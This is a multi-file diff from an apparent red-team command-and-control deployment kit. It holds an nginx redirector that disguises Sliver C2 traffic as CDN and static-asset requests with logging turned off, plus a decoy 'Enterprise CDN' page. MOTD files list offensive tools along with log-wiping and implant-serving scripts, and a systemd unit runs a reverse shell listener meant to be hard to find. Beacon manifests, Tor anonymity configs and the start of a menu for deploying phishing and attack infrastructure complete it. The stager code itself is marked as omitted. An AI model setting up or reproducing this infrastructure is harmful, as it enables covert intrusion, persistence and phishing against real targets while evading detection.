# Root directory
|
||||||
|
root /var/www/html;
|
||||||
|
index index.html;
|
||||||
|
|
||||||
|
# Primary location for legitimate website traffic
|
||||||
|
location / {
|
||||||
|
try_files $uri $uri/ =404;
|
||||||
|
}
|
||||||
|
|
||||||
|
# Special URI patterns for C2 traffic
|
||||||
|
# These will redirect to the actual C2 server
|
||||||
|
|
||||||
|
# Sliver HTTP C2 channel
|
||||||
|
location /ajax/ {
|
||||||
|
proxy_pass http://{{ c2_host }}:8888;
|
||||||
|
proxy_http_version 1.1;
|
||||||
|
proxy_set_header Host $host;
|
||||||
|
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||||
|
proxy_set_header X-Real-IP $remote_addr;
|
||||||
|
proxy_set_header Upgrade $http_upgrade;
|
||||||
|
proxy_set_header Connection "upgrade";
|
||||||
|
}
|
||||||
|
|
||||||
|
# Static resources that actually redirect to C2
|
||||||
|
location ~ ^/static/(css|js|images)/.*\.(css|js|png|jpg|jpeg|gif|ico)$ {
|
||||||
|
proxy_pass http://{{ c2_host }}:8888;
|
||||||
|
proxy_http_version 1.1;
|
||||||
|
proxy_set_header Host $host;
|
||||||
|
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||||
|
proxy_set_header X-Real-IP $remote_addr;
|
||||||
|
}
|
||||||
|
|
||||||
|
# Additional security headers
|
||||||
|
add_header X-Content-Type-Options "nosniff" always;
|
||||||
|
add_header X-Frame-Options "SAMEORIGIN" always;
|
||||||
|
add_header X-XSS-Protection "1; mode=block" always;
|
||||||
|
add_header Referrer-Policy "no-referrer" always;
|
||||||
|
add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:;" always;
|
||||||
|
|
||||||
|
# Disable logging for this server block
|
||||||
|
access_log off;
|
||||||
|
error_log /dev/null crit;
|
||||||
|
}
|
||||||
|
|
||||||
|
# Catch-all server block to respond to unknown hosts
|
||||||
|
server {
|
||||||
|
listen 80 default_server;
|
||||||
|
listen [::]:80 default_server;
|
||||||
|
listen 443 ssl default_server;
|
||||||
|
listen [::]:443 ssl default_server;
|
||||||
|
|
||||||
|
# Self-signed cert for catch-all
|
||||||
|
ssl_certificate /etc/ssl/certs/ssl-cert-snakeoil.pem;
|
||||||
|
ssl_certificate_key /etc/ssl/private/ssl-cert-snakeoil.key;
|
||||||
|
|
||||||
|
# Redirect all unknown traffic to a legitimate-looking site
|
||||||
|
return 301 https://www.google.com;
|
||||||
|
|
||||||
|
# Disable logs
|
||||||
|
access_log off;
|
||||||
|
error_log /dev/null crit;
|
||||||
|
}
|
||||||
@@ -0,0 +1,122 @@
|
|||||||
|
<!DOCTYPE html>
|
||||||
|
<html lang="en">
|
||||||
|
<head>
|
||||||
|
<meta charset="UTF-8">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||||
|
<title>{{ redirector_subdomain }} - Content Delivery Network</title>
|
||||||
|
<style>
|
||||||
|
body {
|
||||||
|
font-family: Arial, sans-serif;
|
||||||
|
margin: 0;
|
||||||
|
padding: 0;
|
||||||
|
background-color: #f4f4f4;
|
||||||
|
color: #333;
|
||||||
|
}
|
||||||
|
header {
|
||||||
|
background-color: #2c3e50;
|
||||||
|
color: white;
|
||||||
|
padding: 1em;
|
||||||
|
text-align: center;
|
||||||
|
}
|
||||||
|
.container {
|
||||||
|
width: 80%;
|
||||||
|
margin: 0 auto;
|
||||||
|
padding: 2em;
|
||||||
|
}
|
||||||
|
.card {
|
||||||
|
background-color: white;
|
||||||
|
border-radius: 5px;
|
||||||
|
padding: 1.5em;
|
||||||
|
margin-bottom: 1.5em;
|
||||||
|
box-shadow: 0 2px 5px rgba(0,0,0,0.1);
|
||||||
|
}
|
||||||
|
.feature {
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
margin-bottom: 1em;
|
||||||
|
}
|
||||||
|
.feature-icon {
|
||||||
|
background-color: #3498db;
|
||||||
|
color: white;
|
||||||
|
border-radius: 50%;
|
||||||
|
width: 40px;
|
||||||
|
height: 40px;
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
justify-content: center;
|
||||||
|
margin-right: 1em;
|
||||||
|
font-weight: bold;
|
||||||
|
}
|
||||||
|
footer {
|
||||||
|
background-color: #2c3e50;
|
||||||
|
color: white;
|
||||||
|
text-align: center;
|
||||||
|
padding: 1em;
|
||||||
|
position: fixed;
|
||||||
|
bottom: 0;
|
||||||
|
width: 100%;
|
||||||
|
}
|
||||||
|
.btn {
|
||||||
|
display: inline-block;
|
||||||
|
background-color: #3498db;
|
||||||
|
color: white;
|
||||||
|
padding: 0.7em 1.5em;
|
||||||
|
border-radius: 5px;
|
||||||
|
text-decoration: none;
|
||||||
|
font-weight: bold;
|
||||||
|
}
|
||||||
|
</style>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<header>
|
||||||
|
<h1>{{ redirector_subdomain }}.{{ domain }}</h1>
|
||||||
|
<p>Enterprise Content Delivery Network</p>
|
||||||
|
</header>
|
||||||
|
|
||||||
|
<div class="container">
|
||||||
|
<div class="card">
|
||||||
|
<h2>Welcome to Our CDN</h2>
|
||||||
|
<p>This server is part of our global content delivery network, optimizing digital asset delivery for enterprise applications. Our CDN provides fast, reliable, and secure content distribution across our global network.</p>
|
||||||
|
<p><em>This is a private service. Unauthorized access is prohibited.</em></p>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="card">
|
||||||
|
<h2>Our Features</h2>
|
||||||
|
|
||||||
|
<div class="feature">
|
||||||
|
<div class="feature-icon">1</div>
|
||||||
|
<div>
|
||||||
|
<h3>Global Distribution</h3>
|
||||||
|
<p>Content cached and distributed across multiple geographic locations for minimum latency.</p>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="feature">
|
||||||
|
<div class="feature-icon">2</div>
|
||||||
|
<div>
|
||||||
|
<h3>DDoS Protection</h3>
|
||||||
|
<p>Enterprise-grade protection against distributed denial of service attacks.</p>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="feature">
|
||||||
|
<div class="feature-icon">3</div>
|
||||||
|
<div>
|
||||||
|
<h3>Asset Optimization</h3>
|
||||||
|
<p>Automatic compression and format optimization for images, scripts, and styles.</p>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="card" style="text-align: center;">
|
||||||
|
<h2>Need Access?</h2>
|
||||||
|
<p>If you're a client requiring access to our CDN services, please contact your account representative.</p>
|
||||||
|
<a href="#" class="btn">Contact Sales</a>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<footer>
|
||||||
|
<p>© 2025 {{ domain }} CDN Services. All rights reserved.</p>
|
||||||
|
</footer>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
@@ -0,0 +1,6 @@
|
|||||||
|
{
|
||||||
|
"vpc_id": "{{ infra_state.vpc_id }}",
|
||||||
|
"subnet_id": "{{ infra_state.subnet_id }}",
|
||||||
|
"security_group_id": "{{ infra_state.security_group_id }}",
|
||||||
|
"region": "{{ infra_state.region }}"
|
||||||
|
}
|
||||||
@@ -0,0 +1,8 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
# OMITTED — Linux stager template
|
||||||
|
#
|
||||||
|
# Jinja2 template rendered at deploy time. Fetches a staged ELF payload from
|
||||||
|
# the redirector using a disguised URL path, sets executable bit, and runs
|
||||||
|
# the payload in the background.
|
||||||
|
#
|
||||||
|
# Omitted from public release. Present in operational deployments.
|
||||||
@@ -0,0 +1,16 @@
|
|||||||
|
{
|
||||||
|
"windows_exe": "WINDOWS_EXE",
|
||||||
|
"windows_dll": "WINDOWS_DLL",
|
||||||
|
"linux_binary": "LINUX_BINARY",
|
||||||
|
"macos_binary": "MACOS_BINARY",
|
||||||
|
"windows_stager": "WINDOWS_STAGER",
|
||||||
|
"win_profile": "WIN_PROFILE",
|
||||||
|
"dll_profile": "DLL_PROFILE",
|
||||||
|
"linux_profile": "LINUX_PROFILE",
|
||||||
|
"mac_profile": "MAC_PROFILE",
|
||||||
|
"stager_profile": "STAGER_PROFILE",
|
||||||
|
"redirector_host": "REDIRECTOR_HOST",
|
||||||
|
"redirector_port": "REDIRECTOR_PORT",
|
||||||
|
"c2_host": "C2_HOST",
|
||||||
|
"generated_date": "GENERATED_DATE"
|
||||||
|
}
|
||||||
@@ -0,0 +1,64 @@
|
|||||||
|
Welcome to your secure FlokiNET C2 Server!
|
||||||
|
|
||||||
|
╔═══════════════════════════════════════════════╗
|
||||||
|
║ OPERATIONAL SECURITY ║
|
||||||
|
║ ║
|
||||||
|
║ This server has enhanced security features ║
|
||||||
|
║ including hardened SSH, Tor routing, and ║
|
||||||
|
║ zero-logs configuration. ║
|
||||||
|
╚═══════════════════════════════════════════════╝
|
||||||
|
|
||||||
|
The following tools and utilities have been installed:
|
||||||
|
|
||||||
|
Apt-Installed Tools:
|
||||||
|
--------------------
|
||||||
|
- git, wget, curl, unzip
|
||||||
|
- python3-pip, python3-venv, pipx
|
||||||
|
- tmux, nmap, tcpdump, hydra, john, hashcat
|
||||||
|
- sqlmap, gobuster, dirb, enum4linux, dnsenum, seclists, responder
|
||||||
|
- golang, proxychains, tor, crackmapexec, jq, unzip
|
||||||
|
- postfix, certbot, opendkim, opendkim-tools
|
||||||
|
|
||||||
|
Pipx-Installed Tools:
|
||||||
|
---------------------
|
||||||
|
- NetExec: git+https://github.com/Pennyw0rth/NetExec
|
||||||
|
- TREVORspray: git+https://github.com/blacklanternsecurity/TREVORspray
|
||||||
|
- impacket: (various network protocols and service tools)
|
||||||
|
|
||||||
|
Custom Tools Installed in ~/Tools:
|
||||||
|
----------------------------------
|
||||||
|
- SharpCollection: ~/Tools/SharpCollection
|
||||||
|
- Kerbrute: ~/Tools/Kerbrute
|
||||||
|
- PEASS-ng: ~/Tools/PEASS-ng
|
||||||
|
- MailSniper: ~/Tools/MailSniper
|
||||||
|
- Inveigh: ~/Tools/Inveigh
|
||||||
|
- Gophish: ~/Tools/gophish (unzipped here)
|
||||||
|
|
||||||
|
Other Installed C2 Frameworks:
|
||||||
|
------------------------------
|
||||||
|
- Metasploit Framework: system installed (run 'msfconsole')
|
||||||
|
- Havoc C2: installed in /root/Tools/Havoc
|
||||||
|
|
||||||
|
Security Scripts in /root/Tools/:
|
||||||
|
-----------------------------
|
||||||
|
- clean-logs.sh: Securely clears all logs on the system
|
||||||
|
- secure-exit.sh: Perform secure wipe for termination
|
||||||
|
- serve-beacons.sh: Hosts generated implants for delivery
|
||||||
|
|
||||||
|
Also, remember that many reconnaissance and attack tools are now available system-wide due to the apt and pipx installations.
|
||||||
|
|
||||||
|
Once your DNS record points to this server’s public IP, you can obtain a Let’s Encrypt certificate by running:
|
||||||
|
|
||||||
|
sudo certbot certonly --non-interactive --agree-tos --email {{ letsencrypt_email }} --standalone -d {{ domain }}
|
||||||
|
sudo certbot certonly --non-interactive --agree-tos --email {{ letsencrypt_email }} --standalone -d mail.{{ domain }}
|
||||||
|
sudo certbot certonly --non-interactive --agree-tos --email {{ letsencrypt_email }} --standalone -d tracker.{{ domain }}
|
||||||
|
systemctl start nginx.service
|
||||||
|
|
||||||
|
Remember to ensure your DNS is set correctly before running the above command.
|
||||||
|
|
||||||
|
**IMPORTANT:**
|
||||||
|
|
||||||
|
To route traffic through Tor for additional anonymity, prefix commands with 'proxychains':
|
||||||
|
proxychains curl ifconfig.me
|
||||||
|
|
||||||
|
Don't forget to set up a DMARC record for your domain. Update your DNS provider's dashboard to add a TXT record named `_dmarc` with a suitable DMARC policy (e.g., `v=DMARC1; p=reject; rua=mailto:admin@{{ domain }}; ruf=mailto:admin@{{ domain }}; pct=100`). This ensures better email deliverability and security for your domain.
|
||||||
@@ -0,0 +1,48 @@
|
|||||||
|
Welcome to your new C2 Server!
|
||||||
|
|
||||||
|
The following tools and utilities have been installed:
|
||||||
|
|
||||||
|
Apt-Installed Tools:
|
||||||
|
--------------------
|
||||||
|
- git, wget, curl, unzip
|
||||||
|
- python3-pip, python3-venv, pipx
|
||||||
|
- tmux, nmap, tcpdump, hydra, john, hashcat
|
||||||
|
- sqlmap, gobuster, dirb, enum4linux, dnsenum, seclists, responder
|
||||||
|
- golang, proxychains, tor, crackmapexec, jq, unzip
|
||||||
|
- postfix, certbot, opendkim, opendkim-tools
|
||||||
|
|
||||||
|
Pipx-Installed Tools:
|
||||||
|
---------------------
|
||||||
|
- NetExec: git+https://github.com/Pennyw0rth/NetExec
|
||||||
|
- TREVORspray: git+https://github.com/blacklanternsecurity/TREVORspray
|
||||||
|
- impacket: (various network protocols and service tools)
|
||||||
|
|
||||||
|
Custom Tools Installed in ~/Tools:
|
||||||
|
----------------------------------
|
||||||
|
- SharpCollection: ~/Tools/SharpCollection
|
||||||
|
- Kerbrute: ~/Tools/Kerbrute
|
||||||
|
- PEASS-ng: ~/Tools/PEASS-ng
|
||||||
|
- MailSniper: ~/Tools/MailSniper
|
||||||
|
- Inveigh: ~/Tools/Inveigh
|
||||||
|
- Gophish: ~/Tools/gophish (unzipped here)
|
||||||
|
|
||||||
|
Other Installed C2 Frameworks:
|
||||||
|
------------------------------
|
||||||
|
- Metasploit Framework: system installed (run 'msfconsole')
|
||||||
|
- Havoc C2: installed in /root/Tools/Havoc
|
||||||
|
|
||||||
|
Also, remember that many reconnaissance and attack tools are now available system-wide due to the apt and pipx installations.
|
||||||
|
|
||||||
|
Once your DNS record points to this server’s public IP, you can obtain a Let’s Encrypt certificate by running:
|
||||||
|
|
||||||
|
sudo certbot certonly --non-interactive --agree-tos --email {{ letsencrypt_email }} --standalone -d {{ domain }}
|
||||||
|
sudo certbot certonly --non-interactive --agree-tos --email {{ letsencrypt_email }} --standalone -d mail.{{ domain }}
|
||||||
|
sudo certbot certonly --non-interactive --agree-tos --email {{ letsencrypt_email }} --standalone -d tracker.{{ domain }}
|
||||||
|
systemctl start nginx.service
|
||||||
|
|
||||||
|
Remember to ensure your DNS is set correctly before running the above command.
|
||||||
|
|
||||||
|
**IMPORTANT:**
|
||||||
|
|
||||||
|
Don’t forget to set up a DMARC record for your domain. Update your DNS provider’s dashboard (e.g., GoDaddy) to add a TXT record named `_dmarc` with a suitable DMARC policy (e.g., `v=DMARC1; p=reject; rua=mailto:admin@{{ domain }}; ruf=mailto:admin@{{ domain }}; pct=100`). This ensures better email deliverability and security for your domain.
|
||||||
|
|
||||||
@@ -0,0 +1,16 @@
|
|||||||
|
================================================================
|
||||||
|
C2itall Redirector Post-Installation Instructions
|
||||||
|
================================================================
|
||||||
|
|
||||||
|
To complete your setup with SSL certificates, run:
|
||||||
|
/root/Tools/post_install_redirector.sh
|
||||||
|
|
||||||
|
This script will guide you through:
|
||||||
|
- Setting up Let's Encrypt certificates
|
||||||
|
- Starting required services
|
||||||
|
- Updating NGINX configuration
|
||||||
|
|
||||||
|
For enhanced OPSEC, you can also randomize ports:
|
||||||
|
/root/Tools/randomize_ports.sh
|
||||||
|
|
||||||
|
Run these after you've configured your DNS records to point to this server.
|
||||||
@@ -0,0 +1,48 @@
|
|||||||
|
Welcome to your new C2 Server!
|
||||||
|
|
||||||
|
The following tools and utilities have been installed:
|
||||||
|
|
||||||
|
Apt-Installed Tools:
|
||||||
|
--------------------
|
||||||
|
- git, wget, curl, unzip
|
||||||
|
- python3-pip, python3-venv, pipx
|
||||||
|
- tmux, nmap, tcpdump, hydra, john, hashcat
|
||||||
|
- sqlmap, gobuster, dirb, enum4linux, dnsenum, seclists, responder
|
||||||
|
- golang, proxychains, tor, crackmapexec, jq, unzip
|
||||||
|
- postfix, certbot, opendkim, opendkim-tools
|
||||||
|
|
||||||
|
Pipx-Installed Tools:
|
||||||
|
---------------------
|
||||||
|
- NetExec: git+https://github.com/Pennyw0rth/NetExec
|
||||||
|
- TREVORspray: git+https://github.com/blacklanternsecurity/TREVORspray
|
||||||
|
- impacket: (various network protocols and service tools)
|
||||||
|
|
||||||
|
Custom Tools Installed in ~/Tools:
|
||||||
|
----------------------------------
|
||||||
|
- SharpCollection: ~/Tools/SharpCollection
|
||||||
|
- Kerbrute: ~/Tools/Kerbrute
|
||||||
|
- PEASS-ng: ~/Tools/PEASS-ng
|
||||||
|
- MailSniper: ~/Tools/MailSniper
|
||||||
|
- Inveigh: ~/Tools/Inveigh
|
||||||
|
- Gophish: ~/Tools/gophish (unzipped here)
|
||||||
|
|
||||||
|
Other Installed C2 Frameworks:
|
||||||
|
------------------------------
|
||||||
|
- Metasploit Framework: system installed (run 'msfconsole')
|
||||||
|
- Havoc C2: installed in /root/Tools/Havoc
|
||||||
|
|
||||||
|
Also, remember that many reconnaissance and attack tools are now available system-wide due to the apt and pipx installations.
|
||||||
|
|
||||||
|
Once your DNS record points to this server’s public IP, you can obtain a Let’s Encrypt certificate by running:
|
||||||
|
|
||||||
|
sudo certbot certonly --non-interactive --agree-tos --email {{ letsencrypt_email }} --standalone -d {{ domain }}
|
||||||
|
sudo certbot certonly --non-interactive --agree-tos --email {{ letsencrypt_email }} --standalone -d mail.{{ domain }}
|
||||||
|
sudo certbot certonly --non-interactive --agree-tos --email {{ letsencrypt_email }} --standalone -d tracker.{{ domain }}
|
||||||
|
systemctl start nginx.service
|
||||||
|
|
||||||
|
Remember to ensure your DNS is set correctly before running the above command.
|
||||||
|
|
||||||
|
**IMPORTANT:**
|
||||||
|
|
||||||
|
Don’t forget to set up a DMARC record for your domain. Update your DNS provider’s dashboard (e.g., GoDaddy) to add a TXT record named `_dmarc` with a suitable DMARC policy (e.g., `v=DMARC1; p=reject; rua=mailto:admin@{{ domain }}; ruf=mailto:admin@{{ domain }}; pct=100`). This ensures better email deliverability and security for your domain.
|
||||||
|
|
||||||
@@ -0,0 +1,68 @@
|
|||||||
|
# FlokiNET/templates/proxychains.conf.j2
|
||||||
|
# ProxyChains configuration for C2 server
|
||||||
|
# Routes traffic through Tor for anonymity
|
||||||
|
|
||||||
|
# Dynamic chain - Each connection through the proxy list
|
||||||
|
# Uses chained proxies in the order they appear in the list
|
||||||
|
dynamic_chain
|
||||||
|
|
||||||
|
# Proxy DNS requests - no leak for DNS data
|
||||||
|
proxy_dns
|
||||||
|
|
||||||
|
# Randomize the order of the proxies on each start
|
||||||
|
# random_chain
|
||||||
|
|
||||||
|
# Set the type of chain (dynamic, strict, random)
|
||||||
|
# strict_chain
|
||||||
|
# random_chain
|
||||||
|
|
||||||
|
# Quiet mode (less console output)
|
||||||
|
quiet_mode
|
||||||
|
|
||||||
|
# ProxyList format:
|
||||||
|
# type host port [user pass]
|
||||||
|
# (values separated by 'tab' or 'blank')
|
||||||
|
[ProxyList]
|
||||||
|
# add proxy here ...
|
||||||
|
# socks5 127.0.0.1 1080
|
||||||
|
socks5 127.0.0.1 9050
|
||||||
|
|
||||||
|
# FlokiNET/templates/iptables-rules.j2
|
||||||
|
# Hardened iptables rules for FlokiNET C2 server
|
||||||
|
# Applied at system startup
|
||||||
|
|
||||||
|
*filter
|
||||||
|
:INPUT DROP [0:0]
|
||||||
|
:FORWARD DROP [0:0]
|
||||||
|
:OUTPUT ACCEPT [0:0]
|
||||||
|
|
||||||
|
# Allow established and related connections
|
||||||
|
-A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
|
||||||
|
|
||||||
|
# Allow loopback
|
||||||
|
-A INPUT -i lo -j ACCEPT
|
||||||
|
|
||||||
|
# Allow SSH
|
||||||
|
-A INPUT -p tcp -m state --state NEW -m tcp --dport {{ ssh_port | default(22) }} -j ACCEPT
|
||||||
|
|
||||||
|
# Allow HTTP/HTTPS
|
||||||
|
-A INPUT -p tcp -m state --state NEW -m tcp --dport 80 -j ACCEPT
|
||||||
|
-A INPUT -p tcp -m state --state NEW -m tcp --dport 443 -j ACCEPT
|
||||||
|
|
||||||
|
# Allow Havoc C2 ports
|
||||||
|
-A INPUT -p tcp -m state --state NEW -m tcp --dport {{ havoc_http_port | default(8080) }} -j ACCEPT
|
||||||
|
-A INPUT -p tcp -m state --state NEW -m tcp --dport {{ havoc_https_port | default(443) }} -j ACCEPT
|
||||||
|
-A INPUT -p tcp -m state --state NEW -m tcp --dport {{ havoc_teamserver_port | default(40056) }} -j ACCEPT
|
||||||
|
|
||||||
|
# Allow shell handler port
|
||||||
|
{% if shell_handler_port is defined %}
|
||||||
|
-A INPUT -p tcp -m state --state NEW -m tcp --dport {{ shell_handler_port }} -j ACCEPT
|
||||||
|
{% endif %}
|
||||||
|
|
||||||
|
# Block all other incoming traffic
|
||||||
|
-A INPUT -j DROP
|
||||||
|
|
||||||
|
# Allow all outbound traffic by default
|
||||||
|
-A OUTPUT -j ACCEPT
|
||||||
|
|
||||||
|
COMMIT
|
||||||
@@ -0,0 +1,17 @@
|
|||||||
|
C2 Server Details:
|
||||||
|
- C2 IP: C2_HOST
|
||||||
|
- Redirector Domain: REDIRECTOR_HOST
|
||||||
|
|
||||||
|
Beacons Generated (GENERATED_DATE):
|
||||||
|
- Windows EXE: WINDOWS_EXE (Profile: WIN_PROFILE)
|
||||||
|
- Windows DLL: WINDOWS_DLL (Profile: DLL_PROFILE)
|
||||||
|
- Linux Binary: LINUX_BINARY (Profile: LINUX_PROFILE)
|
||||||
|
- macOS Binary: MACOS_BINARY (Profile: MAC_PROFILE)
|
||||||
|
- Windows Stager: staged/WINDOWS_STAGER (Profile: STAGER_PROFILE)
|
||||||
|
|
||||||
|
Usage:
|
||||||
|
1. Ensure your redirector is properly configured to forward requests to the C2 server
|
||||||
|
2. Update DNS for REDIRECTOR_HOST to point to your redirector IP
|
||||||
|
3. Test connectivity before deployment in target environment
|
||||||
|
|
||||||
|
IMPORTANT: These beacons will connect to REDIRECTOR_HOST on port REDIRECTOR_PORT
|
||||||
@@ -0,0 +1,18 @@
|
|||||||
|
# FlokiNET/templates/resolv.conf.j2
|
||||||
|
# Secure DNS configuration
|
||||||
|
# Uses privacy-respecting DNS servers
|
||||||
|
|
||||||
|
nameserver 9.9.9.9
|
||||||
|
nameserver 1.1.1.1
|
||||||
|
options edns0 single-request-reopen
|
||||||
|
options timeout:1
|
||||||
|
options attempts:2
|
||||||
|
|
||||||
|
# FlokiNET/templates/dnscrypt.conf.j2
|
||||||
|
[Resolve]
|
||||||
|
DNS=9.9.9.9 1.1.1.1
|
||||||
|
FallbackDNS=8.8.8.8 8.8.4.4
|
||||||
|
DNSSEC=yes
|
||||||
|
DNSOverTLS=yes
|
||||||
|
Cache=yes
|
||||||
|
DNSStubListener=yes
|
||||||
@@ -0,0 +1,22 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
# Let's Encrypt Certificate Setup Script
|
||||||
|
# Run this after setting up DNS records pointing to this server
|
||||||
|
|
||||||
|
# Replace these with your actual values if needed
|
||||||
|
DOMAIN="{{ domain }}"
|
||||||
|
SUBDOMAIN="{{ redirector_subdomain | default(cdn) }}"
|
||||||
|
EMAIL="admin@${DOMAIN}"
|
||||||
|
|
||||||
|
echo "================================================"
|
||||||
|
echo "Let's Encrypt Certificate Setup"
|
||||||
|
echo "================================================"
|
||||||
|
echo
|
||||||
|
echo "Before running this script, make sure:"
|
||||||
|
echo "1. DNS records are set up correctly"
|
||||||
|
echo " - ${SUBDOMAIN}.${DOMAIN} points to $(curl -s ifconfig.me)"
|
||||||
|
echo "2. Port 80 is open to the internet"
|
||||||
|
echo
|
||||||
|
echo "Run the following command to get your certificate:"
|
||||||
|
echo "certbot --nginx -d ${SUBDOMAIN}.${DOMAIN} --non-interactive --agree-tos -m ${EMAIL}"
|
||||||
|
echo
|
||||||
|
echo "================================================"
|
||||||
@@ -0,0 +1,28 @@
|
|||||||
|
[Unit]
|
||||||
|
Description=Reverse Shell Handler Service
|
||||||
|
After=network.target
|
||||||
|
|
||||||
|
[Service]
|
||||||
|
Type=simple
|
||||||
|
User=root
|
||||||
|
Group=root
|
||||||
|
ExecStart=/root/Tools/shell-handler/persistent-listener.sh
|
||||||
|
Restart=always
|
||||||
|
RestartSec=10
|
||||||
|
|
||||||
|
# Hide process information
|
||||||
|
PrivateTmp=true
|
||||||
|
ProtectSystem=full
|
||||||
|
NoNewPrivileges=true
|
||||||
|
|
||||||
|
# Make shell handler hard to find
|
||||||
|
StandardOutput=null
|
||||||
|
StandardError=null
|
||||||
|
|
||||||
|
# Environment variables (configured via Ansible)
|
||||||
|
Environment="C2_HOST={{ c2_ip | default('127.0.0.1') }}"
|
||||||
|
Environment="LISTEN_PORT={{ shell_handler_port | default('4444') }}"
|
||||||
|
Environment="HAVOC_PORT={{ havoc_teamserver_port | default('40056') }}"
|
||||||
|
|
||||||
|
[Install]
|
||||||
|
WantedBy=multi-user.target
|
||||||
@@ -0,0 +1,48 @@
|
|||||||
|
# FlokiNET/templates/torrc.j2
|
||||||
|
#
|
||||||
|
# Tor configuration for C2 server
|
||||||
|
# Hardened configuration for operational security
|
||||||
|
|
||||||
|
# General settings
|
||||||
|
DataDirectory /var/lib/tor
|
||||||
|
RunAsDaemon 1
|
||||||
|
ControlPort 9051
|
||||||
|
CookieAuthentication 1
|
||||||
|
CookieAuthFileGroupReadable 0
|
||||||
|
DisableDebuggerAttachment 1
|
||||||
|
|
||||||
|
# Network settings
|
||||||
|
SOCKSPort 127.0.0.1:9050
|
||||||
|
SOCKSPolicy accept 127.0.0.1/8
|
||||||
|
SOCKSPolicy reject *
|
||||||
|
Log notice file /var/log/tor/notices.log
|
||||||
|
SafeSocks 1
|
||||||
|
TestSocks 0
|
||||||
|
|
||||||
|
# Circuit settings
|
||||||
|
NumEntryGuards 4
|
||||||
|
EnforceDistinctSubnets 1
|
||||||
|
CircuitBuildTimeout 60
|
||||||
|
PathsNeededToBuildCircuits 0.95
|
||||||
|
NewCircuitPeriod 900
|
||||||
|
MaxCircuitDirtiness 1800
|
||||||
|
|
||||||
|
# Security settings
|
||||||
|
StrictNodes 1
|
||||||
|
WarnPlaintextPorts 23,109,110,143,80,21
|
||||||
|
ReachableAddresses *:80,*:443
|
||||||
|
ReachableAddresses reject *:*
|
||||||
|
ReachableAddresses accept *:80
|
||||||
|
ReachableAddresses accept *:443
|
||||||
|
|
||||||
|
# Obfuscation settings
|
||||||
|
Bridge obfs4 {{ bridge_address | default('placeholderbridge.example.org:443') }} {{ bridge_fingerprint | default('PLACEHOLDERFINGERPRINT') }} cert=PLACEHOLDER
|
||||||
|
UseBridges 1
|
||||||
|
ClientTransportPlugin obfs4 exec /usr/bin/obfs4proxy
|
||||||
|
ClientTransportPlugin meek exec /usr/bin/obfs4proxy
|
||||||
|
|
||||||
|
# Exit policy (no exits allowed)
|
||||||
|
ExitPolicy reject *:*
|
||||||
|
|
||||||
|
# DNS resolution
|
||||||
|
AutomapHostsOnResolve 1
|
||||||
@@ -0,0 +1,8 @@
|
|||||||
|
# OMITTED — Windows PowerShell stager template
|
||||||
|
#
|
||||||
|
# Jinja2 template rendered at deploy time with redirector hostname and path
|
||||||
|
# substituted. Downloads a staged payload over HTTPS with a legitimate-looking
|
||||||
|
# User-Agent and Referer, writes to a randomized temp path, and executes.
|
||||||
|
# Includes error suppression and jitter sleep to reduce behavioral detection.
|
||||||
|
#
|
||||||
|
# Omitted from public release. Present in operational deployments.
|
||||||
@@ -0,0 +1,708 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""
|
||||||
|
C2ingRed - Main deployment menu and orchestrator
|
||||||
|
Modular red team infrastructure deployment tool
|
||||||
|
"""
|
||||||
|
|
||||||
|
import os
|
||||||
|
import sys
|
||||||
|
import subprocess
|
||||||
|
import importlib.util
|
||||||
|
import argparse
|
||||||
|
from datetime import datetime
|
||||||
|
|
||||||
|
# Add utils to path
|
||||||
|
sys.path.append(os.path.join(os.path.dirname(__file__), 'utils'))
|
||||||
|
|
||||||
|
from utils.common import COLORS, clear_screen, print_banner, wait_for_input, confirm_action, archive_old_logs
|
||||||
|
|
||||||
|
def import_module_from_path(module_name, file_path):
|
||||||
|
"""Dynamically import a module from a file path"""
|
||||||
|
try:
|
||||||
|
spec = importlib.util.spec_from_file_location(module_name, file_path)
|
||||||
|
module = importlib.util.module_from_spec(spec)
|
||||||
|
spec.loader.exec_module(module)
|
||||||
|
return module
|
||||||
|
except Exception as e:
|
||||||
|
print(f"{COLORS['RED']}Error importing {module_name}: {e}{COLORS['RESET']}")
|
||||||
|
return None
|
||||||
|
|
||||||
|
def main_menu():
|
||||||
|
"""Display the main menu and handle user selection"""
|
||||||
|
while True:
|
||||||
|
clear_screen()
|
||||||
|
print_banner()
|
||||||
|
print(f"{COLORS['WHITE']}MAIN MENU{COLORS['RESET']}")
|
||||||
|
print(f"{COLORS['WHITE']}=========={COLORS['RESET']}")
|
||||||
|
print(f"1) Deploy Attack Box")
|
||||||
|
print(f"2) Deploy C2 Infrastructure")
|
||||||
|
print(f"3) Deploy Redirector")
|
||||||
|
print(f"4) Deploy Phishing Infrastructure")
|
||||||
|
print(f"5) Deploy Payload Server")
|
||||||
|
print(f"6) Deploy Email Tracker")
|
||||||
|
print(f"7) Deploy Logging Server {COLORS['GRAY']}*UNDER-CONSTRUCTION*{COLORS['RESET']}")
|
||||||
|
print(f"8) Deploy Share-Drive {COLORS['GRAY']}*UNDER-CONSTRUCTION*{COLORS['RESET']}")
|
||||||
|
print(f"9) Deploy Hashtopolis {COLORS['GRAY']}*UNDER-CONSTRUCTION*{COLORS['RESET']}")
|
||||||
|
print(f"10) Deploy Chat Server {COLORS['GREEN']}(Matrix + Element + Tailscale){COLORS['RESET']}")
|
||||||
|
print(f"11) Deploy Privacy Server {COLORS['GREEN']}(Phantom — VPN, DNS, Matrix, etc.){COLORS['RESET']}")
|
||||||
|
